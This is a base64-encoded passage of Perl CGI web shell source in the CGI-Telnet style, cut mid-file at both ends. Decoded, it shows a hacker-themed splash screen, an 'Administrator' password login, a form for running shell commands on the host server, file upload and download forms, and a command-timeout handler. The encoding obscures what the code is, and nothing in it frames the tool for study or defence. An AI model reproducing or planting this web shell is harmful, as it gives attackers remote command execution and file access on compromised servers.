dW5uaW5nKSByZXR1cm47CiAgaWYodHlwZW9mIHRoaXMub3JpZ1RleHQgPT0gInVuZGVmaW5lZCIpIHsKICAgIHNldFRpbWVvdXQoImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCciICsgdGhpcy5lbGVtZW50LmlkICsgIicpLnR5cGluZ1RleHQucnVuKCkiLCB0aGlzLmludGVydmFsKTsJLy8gV2UgaGF2ZW4ndCBmaW5pc2hlZCBsb2FkaW5nIHlldC4gIEhhdmUgcGF0aWVuY2UuCiAgICByZXR1cm47CiAgfQogIGlmKHRoaXMuY3VycmVudFRleHQgPT0gIiIpIHRoaXMuZWxlbWVudC5pbm5lckhUTUwgPSAiIjsKLy8gIHRoaXMub3JpZ1RleHQgPSB0aGlzLm9yaWdUZXh0LnJlcGxhY2UoLzwoW148XSkqPi8sICIiKTsgICAgIC8vIFN0cmlwIEhUTUwgZnJvbSB0ZXh0LgogIGlmKHRoaXMuY3VycmVudENoYXIgPCB0aGlzLm9yaWdUZXh0Lmxlbmd0aCkgewogICAgaWYodGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcikgPT0gIjwiICYmICF0aGlzLmluVGFnKSB7CiAgICAgIHRoaXMudGFnQnVmZmVyID0gIjwiOwogICAgICB0aGlzLmluVGFnID0gdHJ1ZTsKICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOwogICAgICB0aGlzLnJ1bigpOwogICAgICByZXR1cm47CiAgICB9IGVsc2UgaWYodGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcikgPT0gIj4iICYmIHRoaXMuaW5UYWcpIHsKICAgICAgdGhpcy50YWdCdWZmZXIgKz0gIj4iOwogICAgICB0aGlzLmluVGFnID0gZmFsc2U7CiAgICAgIHRoaXMuY3VycmVudFRleHQgKz0gdGhpcy50YWdCdWZmZXI7CiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsKICAgICAgdGhpcy5ydW4oKTsKICAgICAgcmV0dXJuOwogICAgfSBlbHNlIGlmKHRoaXMuaW5UYWcpIHsKICAgICAgdGhpcy50YWdCdWZmZXIgKz0gdGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcik7CiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsKICAgICAgdGhpcy5ydW4oKTsKICAgICAgcmV0dXJuOwogICAgfSBlbHNlIGlmKHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpID09ICImIiAmJiAhdGhpcy5pbkhUTUxFbnRpdHkpIHsKICAgICAgdGhpcy5IVE1MRW50aXR5QnVmZmVyID0gIiYiOwogICAgICB0aGlzLmluSFRNTEVudGl0eSA9IHRydWU7CiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsKICAgICAgdGhpcy5ydW4oKTsKICAgICAgcmV0dXJuOwogICAgfSBlbHNlIGlmKHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpID09ICI7IiAmJiB0aGlzLmluSFRNTEVudGl0eSkgewogICAgICB0aGlzLkhUTUxFbnRpdHlCdWZmZXIgKz0gIjsiOwogICAgICB0aGlzLmluSFRNTEVudGl0eSA9IGZhbHNlOwogICAgICB0aGlzLmN1cnJlbnRUZXh0ICs9IHRoaXMuSFRNTEVudGl0eUJ1ZmZlcjsKICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOwogICAgICB0aGlzLnJ1bigpOwogICAgICByZXR1cm47CiAgICB9IGVsc2UgaWYodGhpcy5pbkhUTUxFbnRpdHkpIHsKICAgICAgdGhpcy5IVE1MRW50aXR5QnVmZmVyICs9IHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpOwogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7CiAgICAgIHRoaXMucnVuKCk7CiAgICAgIHJldHVybjsKICAgIH0gZWxzZSB7CiAgICAgIHRoaXMuY3VycmVudFRleHQgKz0gdGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcik7CiAgICB9CiAgICB0aGlzLmVsZW1lbnQuaW5uZXJIVE1MID0gdGhpcy5jdXJyZW50VGV4dDsKICAgIHRoaXMuZWxlbWVudC5pbm5lckhUTUwgKz0gKHRoaXMuY3VycmVudENoYXIgPCB0aGlzLm9yaWdUZXh0Lmxlbmd0aCAtIDEgPyAodHlwZW9mIHRoaXMuY3Vyc29yID09ICJmdW5jdGlvbiIgPyB0aGlzLmN1cnNvcih0aGlzLmN1cnJlbnRUZXh0KSA6IHRoaXMuY3Vyc29yKSA6ICIiKTsKICAgIHRoaXMuY3VycmVudENoYXIrKzsKICAgIHNldFRpbWVvdXQoImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCciICsgdGhpcy5lbGVtZW50LmlkICsgIicpLnR5cGluZ1RleHQucnVuKCkiLCB0aGlzLmludGVydmFsKTsKICB9IGVsc2UgewoJdGhpcy5jdXJyZW50VGV4dCA9ICIiOwoJdGhpcy5jdXJyZW50Q2hhciA9IDA7CiAgICAgICAgdGhpcy5ydW5uaW5nID0gZmFsc2U7CiAgICAgICAgdGhpcy5maW5pc2hlZENhbGxiYWNrKCk7CiAgfQp9Cjwvc2NyaXB0Pgo8L3ByZT4KCjxmb250IHN0eWxlPSJmb250OiAxNXB0IFZlcmRhbmE7IGNvbG9yOiB5ZWxsb3c7Ij5Db3B5cmlnaHQgKEMpIDIwMDEgUm9oaXRhYiBCYXRyYSA8L2ZvbnQ+PGJyPjxicj4KPHRhYmxlIGFsaWduPSJjZW50ZXIiIGJvcmRlcj0iMSIgd2lkdGg9IjYwMCIgaGVpZ2g+Cjx0Ym9keT48dHI+Cjx0ZCB2YWxpZ249InRvcCIgYmFja2dyb3VuZD0iaHR0cDovL2RsLmRyb3Bib3guY29tL3UvMTA4NjAwNTEvaW1hZ2VzL21hdHJhbi5naWYiPjxwIGlkPSJoYWNrIiBzdHlsZT0ibWFyZ2luLWxlZnQ6IDNweDsiPgo8Zm9udCBjb2xvcj0iIzAwOTkwMCI+IFBsZWFzZSBXYWl0IC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC48L2ZvbnQ+IDxicj4KCjxmb250IGNvbG9yPSIjMDA5OTAwIj4gVHJ5aW5nIGNvbm5lY3QgdG8gU2VydmVyIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC48L2ZvbnQ+PGJyPgo8Zm9udCBjb2xvcj0iI0YwMDAwMCI+PGZvbnQgY29sb3I9IiNGRkYwMDAiPn5cJDwvZm9udD4gQ29ubmVjdGVkICEgPC9mb250Pjxicj4KPGZvbnQgY29sb3I9IiMwMDk5MDAiPjxmb250IGNvbG9yPSIjRkZGMDAwIj4kU2VydmVyTmFtZX48L2ZvbnQ+IENoZWNraW5nIFNlcnZlciAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuPC9mb250PiA8YnI+Cgo8Zm9udCBjb2xvcj0iIzAwOTkwMCI+PGZvbnQgY29sb3I9IiNGRkYwMDAiPiRTZXJ2ZXJOYW1lfjwvZm9udD4gVHJ5aW5nIGNvbm5lY3QgdG8gQ29tbWFuZCAuIC4gLiAuIC4gLiAuIC4gLiAuIC48L2ZvbnQ+PGJyPgoKPGZvbnQgY29sb3I9IiNGMDAwMDAiPjxmb250IGNvbG9yPSIjRkZGMDAwIj4kU2VydmVyTmFtZX48L2ZvbnQ+XCQgQ29ubmVjdGVkIENvbW1hbmQhIDwvZm9udD48YnI+Cjxmb250IGNvbG9yPSIjMDA5OTAwIj48Zm9udCBjb2xvcj0iI0ZGRjAwMCI+JFNlcnZlck5hbWV+PGZvbnQgY29sb3I9IiNGMDAwMDAiPlwkPC9mb250PjwvZm9udD4gT0shIFlvdSBjYW4ga2lsbCBpdCE8L2ZvbnQ+CjwvdHI+CjwvdGJvZHk+PC90YWJsZT4KPGJyPgoKPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPgpuZXcgVHlwaW5nVGV4dChkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiaGFjayIpLCAzMCwgZnVuY3Rpb24oaSl7IHZhciBhciA9IG5ldyBBcnJheSgiXyIsIiIpOyByZXR1cm4gIiAiICsgYXJbaS5sZW5ndGggJSBhci5sZW5ndGhdOyB9KTsKVHlwaW5nVGV4dC5ydW5BbGwoKTsKCjwvc2NyaXB0PgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIEFkZCBodG1sIHNwZWNpYWwgY2hhcnMKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgSHRtbFNwZWNpYWxDaGFycygkKXsKCW15ICR0ZXh0ID0gc2hpZnQ7CgkkdGV4dCA9fiBzLyYvJmFtcDsvZzsKCSR0ZXh0ID1+IHMvIi8mcXVvdDsvZzsKCSR0ZXh0ID1+IHMvJy8mIzAzOTsvZzsKCSR0ZXh0ID1+IHMvPC8mbHQ7L2c7CgkkdGV4dCA9fiBzLz4vJmd0Oy9nOwoJcmV0dXJuICR0ZXh0Owp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBBZGQgbGluayBmb3IgZGlyZWN0b3J5CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEFkZExpbmtEaXIoJCkKewoJbXkgJGFjPXNoaWZ0OwoJbXkgQGRpcj0oKTsKCWlmKCRXaW5OVCkKCXsKCQlAZGlyPXNwbGl0KC9cXC8sJEN1cnJlbnREaXIpOwoJfWVsc2UKCXsKCQlAZGlyPXNwbGl0KCIvIiwmdHJpbSgkQ3VycmVudERpcikpOwoJfQoJbXkgJHBhdGg9IiI7CglteSAkcmVzdWx0PSIiOwoJZm9yZWFjaCAoQGRpcikKCXsKCQkkcGF0aCAuPSAkXy4kUGF0aFNlcDsKCQkkcmVzdWx0Lj0iPGEgaHJlZj0nP2E9Ii4kYWMuIiZkPSIuJHBhdGguIic+Ii4kXy4kUGF0aFNlcC4iPC9hPiI7Cgl9CglyZXR1cm4gJHJlc3VsdDsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBtZXNzYWdlIHRoYXQgaW5mb3JtcyB0aGUgdXNlciBvZiBhIGZhaWxlZCBsb2dpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludExvZ2luRmFpbGVkTWVzc2FnZQp7CglwcmludCA8PEVORDsKPGJyPkxvZ2luIDogQWRtaW5pc3RyYXRvcjxicj4KClBhc3N3b3JkOjxicj4KTG9naW4gaW5jb3JyZWN0PGJyPjxicj4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSBmb3IgbG9nZ2luZyBpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludExvZ2luRm9ybQp7CglwcmludCA8PEVORDsKPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJsb2dpbiI+CkxvZ2luIDogQWRtaW5pc3RyYXRvcjxicj4KUGFzc3dvcmQ6PGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSJwIj4KPGlucHV0IGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4KPC9mb3JtPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgZm9vdGVyIGZvciB0aGUgSFRNTCBQYWdlCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50UGFnZUZvb3Rlcgp7CglwcmludCAiPGJyPjxmb250IGNvbG9yPXJlZD5vLS0tWyAgPGZvbnQgY29sb3I9I2ZmOTkwMD5FZGl0IGJ5ICRFZGl0UGVyc2lvbiA8L2ZvbnQ+ICBdLS0tbzwvZm9udD48L2NvZGU+PC9jZW50ZXI+PC9ib2R5PjwvaHRtbD4iOwp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUmV0cmVpdmVzIHRoZSB2YWx1ZXMgb2YgYWxsIGNvb2tpZXMuIFRoZSBjb29raWVzIGNhbiBiZSBhY2Nlc3NlcyB1c2luZyB0aGUKIyB2YXJpYWJsZSAkQ29va2llc3snJ30KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgR2V0Q29va2llcwp7CglAaHR0cGNvb2tpZXMgPSBzcGxpdCgvOyAvLCRFTlZ7J0hUVFBfQ09PS0lFJ30pOwoJZm9yZWFjaCAkY29va2llKEBodHRwY29va2llcykKCXsKCQkoJGlkLCAkdmFsKSA9IHNwbGl0KC89LywgJGNvb2tpZSk7CgkJJENvb2tpZXN7JGlkfSA9ICR2YWw7Cgl9Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIHNjcmVlbiB3aGVuIHRoZSB1c2VyIGxvZ3Mgb3V0CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50TG9nb3V0U2NyZWVuCnsKCXByaW50ICJDb25uZWN0aW9uIGNsb3NlZCBieSBmb3JlaWduIGhvc3QuPGJyPjxicj4iOwp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgTG9ncyBvdXQgdGhlIHVzZXIgYW5kIGFsbG93cyB0aGUgdXNlciB0byBsb2dpbiBhZ2FpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQZXJmb3JtTG9nb3V0CnsKCXByaW50ICJTZXQtQ29va2llOiBTQVZFRFBXRD07XG4iOyAjIHJlbW92ZSBwYXNzd29yZCBjb29raWUKCSZQcmludFBhZ2VIZWFkZXIoInAiKTsKCSZQcmludExvZ291dFNjcmVlbjsKCgkmUHJpbnRMb2dpblNjcmVlbjsKCSZQcmludExvZ2luRm9ybTsKCSZQcmludFBhZ2VGb290ZXI7CglleGl0Owp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgdG8gbG9naW4gdGhlIHVzZXIuIElmIHRoZSBwYXNzd29yZCBtYXRjaGVzLCBpdAojIGRpc3BsYXlzIGEgcGFnZSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBydW4gY29tbWFuZHMuIElmIHRoZSBwYXNzd29yZCBkb2Vucyd0CiMgbWF0Y2ggb3IgaWYgbm8gcGFzc3dvcmQgaXMgZW50ZXJlZCwgaXQgZGlzcGxheXMgYSBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyCiMgdG8gbG9naW4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUGVyZm9ybUxvZ2luIAp7CglpZigkTG9naW5QYXNzd29yZCBlcSAkUGFzc3dvcmQpICMgcGFzc3dvcmQgbWF0Y2hlZAoJewoJCXByaW50ICJTZXQtQ29va2llOiBTQVZFRFBXRD0kTG9naW5QYXNzd29yZDtcbiI7CgkJJlByaW50UGFnZUhlYWRlcjsKCQlwcmludCAmTGlzdERpcjsKCX0KCWVsc2UgIyBwYXNzd29yZCBkaWRuJ3QgbWF0Y2gKCXsKCQkmUHJpbnRQYWdlSGVhZGVyKCJwIik7CgkJJlByaW50TG9naW5TY3JlZW47CgkJaWYoJExvZ2luUGFzc3dvcmQgbmUgIiIpICMgc29tZSBwYXNzd29yZCB3YXMgZW50ZXJlZAoJCXsKCQkJJlByaW50TG9naW5GYWlsZWRNZXNzYWdlOwoKCQl9CgkJJlByaW50TG9naW5Gb3JtOwoJCSZQcmludFBhZ2VGb290ZXI7CgkJZXhpdDsKCX0KfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIGVudGVyIGNvbW1hbmRzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50Q29tbWFuZExpbmVJbnB1dEZvcm0KewoJbXkgJGRpcj0gIjxzcGFuIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7IGZvbnQtd2VpZ2h0OiBib2xkOyc+Ii4mQWRkTGlua0RpcigiY29tbWFuZCIpLiI8L3NwYW4+IjsKCSRQcm9tcHQgPSAkV2luTlQgPyAiJGRpciA+ICIgOiAiPGZvbnQgY29sb3I9JyM2NmZmNjYnPlthZG1pblxAJFNlcnZlck5hbWUgJGRpcl1cJDwvZm9udD4gIjsKCXJldHVybiA8PEVORDsKPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+Cgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iY29tbWFuZCI+Cgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPgokUHJvbXB0CjxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSI1MCIgbmFtZT0iYyI+CjxpbnB1dCBjbGFzcz0ic3VibWl0InR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4KPC9mb3JtPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIGRvd25sb2FkIGZpbGVzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50RmlsZURvd25sb2FkRm9ybQp7CglteSAkZGlyID0gJkFkZExpbmtEaXIoImRvd25sb2FkIik7IAoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRkaXJdXCQgIjsKCXJldHVybiA8PEVORDsKPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJkb3dubG9hZCI+CiRQcm9tcHQgZG93bmxvYWQ8YnI+PGJyPgpGaWxlbmFtZTogPGlucHV0IGNsYXNzPSJmaWxlIiB0eXBlPSJ0ZXh0IiBuYW1lPSJmIiBzaXplPSIzNSI+PGJyPjxicj4KRG93bmxvYWQ6IDxpbnB1dCBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJCZWdpbiI+Cgo8L2Zvcm0+CkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gdXBsb2FkIGZpbGVzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50RmlsZVVwbG9hZEZvcm0KewoJbXkgJGRpcj0gJkFkZExpbmtEaXIoInVwbG9hZCIpOwoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRkaXJdXCQgIjsKCXJldHVybiA8PEVORDsKPGZvcm0gbmFtZT0iZiIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+CiRQcm9tcHQgdXBsb2FkPGJyPjxicj4KRmlsZW5hbWU6IDxpbnB1dCBjbGFzcz0iZmlsZSIgdHlwZT0iZmlsZSIgbmFtZT0iZiIgc2l6ZT0iMzUiPjxicj48YnI+Ck9wdGlvbnM6ICZuYnNwOzxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0ibyIgaWQ9InVwIiB2YWx1ZT0ib3ZlcndyaXRlIj4KPGxhYmVsIGZvcj0idXAiPk92ZXJ3cml0ZSBpZiBpdCBFeGlzdHM8L2xhYmVsPjxicj48YnI+ClVwbG9hZDombmJzcDsmbmJzcDsmbmJzcDs8aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQmVnaW4iPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPgo8aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0idXBsb2FkIj4KCjwvZm9ybT4KCkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdGltZW91dCBmb3IgYSBjb21tYW5kIGV4cGlyZXMuIFdlIG5lZWQgdG8KIyB0ZXJtaW5hdGUgdGhlIHNjcmlwdCBpbW1lZGlhdGVseS4gVGhpcyBmdW5jdGlvbiBpcyB2YWxpZCBvbmx5IG9uIFVuaXguIEl0IGlzCiMgbmV2ZXIgY2FsbGVkIHdoZW4gdGhlIHNjcmlwdCBpcyBydW5uaW5nIG9uIE5ULgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBDb21tYW5kVGltZW91dAp7CglpZighJFdpbk5UKQoJewoJCWFsYXJtKDApOwoJCXJldHVybiA8PEVORDsKPC90ZXh0YXJlYT4KPGJyPjxmb250IGNvbG9yPXllbGxvdz4KQ29tbWFuZCBleGNlZWRlZCBtYXhpbXVtIHRpbWUgb2YgJENvbW1hbmRUaW1lb3V0RHVyYXRpb24gc2Vjb25kKHMpLjwvZm9udD4KPGJyPjxmb250IHNpemU9JzYnIGNvbG9yPXJlZD5LaWxsZWQgaXQhPC9mb250PgpFTkQKCX0KfQoKCgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBkaXNwbGF5cyB0aGUgcGFnZSB0aGF0IGNvbnRhaW5zIGEgbGluayB3aGljaCBhbGxvd3MgdGhlIHVzZXIKIyB0byBkb3dubG9hZCB0aGUgc3BlY2lmaWVkIGZpbGUuIFRoZSBwYWdlIGFsc28gY29udGFpbnMgYSBhdXRvLXJlZnJlc2gKIyBmZWF0dXJlIHRoYXQgc3RhcnRzIHRoZSBkb3dubG9hZCBhdXRvbWF0aWNhbGx5LgojIEFyZ3VtZW50IDE6IEZ1bGx5IHF1YWxpZmllZCBmaWxlbmFtZSBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50RG93bmxvYWRMaW5rUGFnZQp7Cglsb2NhbCgkRmlsZVVybCkgPSBAXzsKCW15ICRyZXN1bHQ9IiI7CglpZigtZSAkRmlsZVVybCkgIyBpZiB0aGUgZmlsZSBleGlzdHMKCXsKCQkjIGVuY29kZSB0aGUgZmlsZSBsaW5rIHNvIHdlIGNhbiBzZW5kIGl0IHRvIHRoZSBicm93c2VyCgkJJEZpbGVVcmwgPX4gcy8oW15hLXpBLVowLTldKS8nJScudW5wYWNrKCJIKiIsJDEpL2VnOwoJCSREb3dubG9hZExpbmsgPSAiJFNjcmlwdExvY2F0aW9uP2E9ZG93bmxvYWQmZj0kRmlsZVVybCZvPWdvIjsKCQkkSHRtbE1ldGFIZWFkZXIgPSAiPG1ldGEgSFRUUC1FUVVJVj1cIlJlZnJlc2hcIiBDT05URU5UPVwiMTsgVVJMPSREb3dubG9hZExpbmtcIj4iOwoJCSZQcmludFBhZ2VIZWFkZXIoImMiKTsKCQkkcmVzdWx0IC49IDw8RU5EOwpTZW5kaW5nIEZpbGUgJFRyYW5zZmVyRmlsZS4uLjxicj4KCklmIHRoZSBkb3dubG9hZCBkb2VzIG5vdCBzdGFydCBhdXRvbWF0aWNhbGx5LAo8YSBocmVmPSIkRG93bmxvYWRMaW5rIj5DbGljayBIZXJlPC9hPgpFTkQKCQkkcmVzdWx0IC49ICZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOwoJfQoJZWxzZSAjIGZpbGUgZG9lc24ndCBleGlzdAoJewoJCSRyZXN1bHQgLj0gIkZhaWxlZCB0byBkb3dubG9hZCAkRmlsZVVybDogJCEiOwoJCSRyZXN1bHQgLj0gJlByaW50RmlsZURvd25sb2FkRm9ybTsKCX0KCXJldHVybiAkcmVzdWx0Owp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiByZWFkcyB0aGUgc3BlY2lmaWVkIGZpbGUgZnJvbSB0aGUgZGlzayBhbmQgc2VuZHMgaXQgdG8gdGhlCiMgYnJvd3Nlciwgc28gdGhhdCBpdCBjYW4gYmUgZG93bmx